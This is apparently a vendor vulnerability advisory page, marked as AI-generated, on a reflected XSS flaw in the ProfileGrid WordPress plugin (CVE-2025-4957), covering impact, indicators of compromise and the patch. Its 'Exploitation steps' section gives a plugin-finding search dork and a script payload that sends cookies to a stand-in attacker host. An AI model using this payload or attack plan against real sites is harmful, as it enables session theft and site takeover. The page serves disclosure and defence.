CVE-2025-4957
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-4957 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Metagauss ProfileGrid WordPress plugin, affecting all versions up to and including 5.9.5.7. The flaw stems from improper neutralization of user-supplied input during web page generation (CWE-79). It was reported by Mohammed Ahmed Abd Elnabi on July 25, 2025, and published by Patchstack on September 1, 2025. The vulnerability carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests as a Reflected XSS flaw in the ProfileGrid plugin for WordPress. An unauthenticated attacker can craft a malicious URL containing injected JavaScript that, when clicked by a victim (such as an authenticated administrator), causes the script to execute in the victim's browser within the context of the affected site. The attack vector is network-based, requires no privileges, but does require user interaction — specifically, a privileged user must be socially engineered into following a crafted link (Patchstack).

Impact

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of a victim who interacts with a malicious link, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. Because the scope is changed (S:C in CVSS), the impact extends beyond the vulnerable component itself, affecting confidentiality, integrity, and availability at a low level each. In WordPress environments where the victim is an administrator, this could facilitate full site compromise through actions like creating rogue admin accounts or installing malicious plugins (Patchstack).

Exploitability

No public exploit code or active in-the-wild exploitation has been confirmed for CVE-2025-4957 at this time. The EPSS score is approximately 0.033%, indicating a low near-term probability of exploitation. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or popularity. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the ProfileGrid plugin at version 5.9.5.7 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/profilegrid-user-profiles-groups-and-communities).
  2. Craft malicious URL: Construct a URL targeting the vulnerable parameter in the ProfileGrid plugin that reflects unsanitized input, embedding a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  3. Social engineering: Deliver the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, forum post, or direct message, enticing them to click the link.
  4. Payload execution: When the victim clicks the link and loads the page, the injected script executes in their browser session, allowing the attacker to steal session cookies, perform actions as the victim, or redirect to a malicious site.
  5. Post-exploitation: Use stolen session tokens to authenticate as the administrator and perform further actions such as installing backdoors, creating rogue accounts, or exfiltrating site data (Patchstack).

Indicators of compromise

  • Network: Outbound HTTP requests from victim browsers to unknown external domains immediately after loading a ProfileGrid-related page; unusual referrer headers in web server logs pointing to crafted URLs containing encoded script tags.
  • Logs: WordPress access logs showing GET/POST requests to ProfileGrid plugin endpoints with URL-encoded JavaScript payloads (e.g., %3Cscript%3E, %3C%2Fscript%3E) in query parameters.
  • File System: Unexpected new WordPress admin accounts or newly installed plugins not authorized by site administrators, potentially created via XSS-driven actions.
  • Process/Behavior: Browser-side alerts or redirects triggered when authenticated users visit specific ProfileGrid plugin pages; unexpected changes to WordPress site settings or content following administrator sessions.

Mitigation and workarounds

The vulnerability is patched in ProfileGrid version 5.9.5.8. Site administrators should update the plugin immediately via the WordPress dashboard or by downloading the latest version from the WordPress plugin repository. Patchstack users benefit from a virtual patch (mitigation rule) that blocks exploitation attempts until the plugin is updated. If an immediate update is not possible, consider temporarily deactivating the ProfileGrid plugin or restricting access to affected pages (Patchstack).

Community reactions

Patchstack, which discovered and disclosed the vulnerability through researcher Mohammed Ahmed Abd Elnabi, characterized it as moderately dangerous and noted that similar XSS vulnerabilities are frequently leveraged in mass-exploit campaigns against WordPress sites. A brief mention appeared on Bluesky social media in late 2025, and the vulnerability was indexed by threat intelligence aggregators such as VulDB and Offseq Radar. No major vendor statements or significant media coverage beyond the Patchstack advisory have been identified (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15239NONEN/A
  • simple-cloudflare-turnstile
NoYesAug 07, 2026
CVE-2026-15211NONEN/A
  • subscriptions-for-woocommerce
NoYesAug 07, 2026
CVE-2026-15148NONEN/A
  • wp-events-manager
NoYesAug 07, 2026
CVE-2026-16265NONEN/A
  • wp-google-map-plugin
NoYesAug 07, 2026
CVE-2026-16263NONEN/A
  • wp-google-map-plugin
NoYesAug 07, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management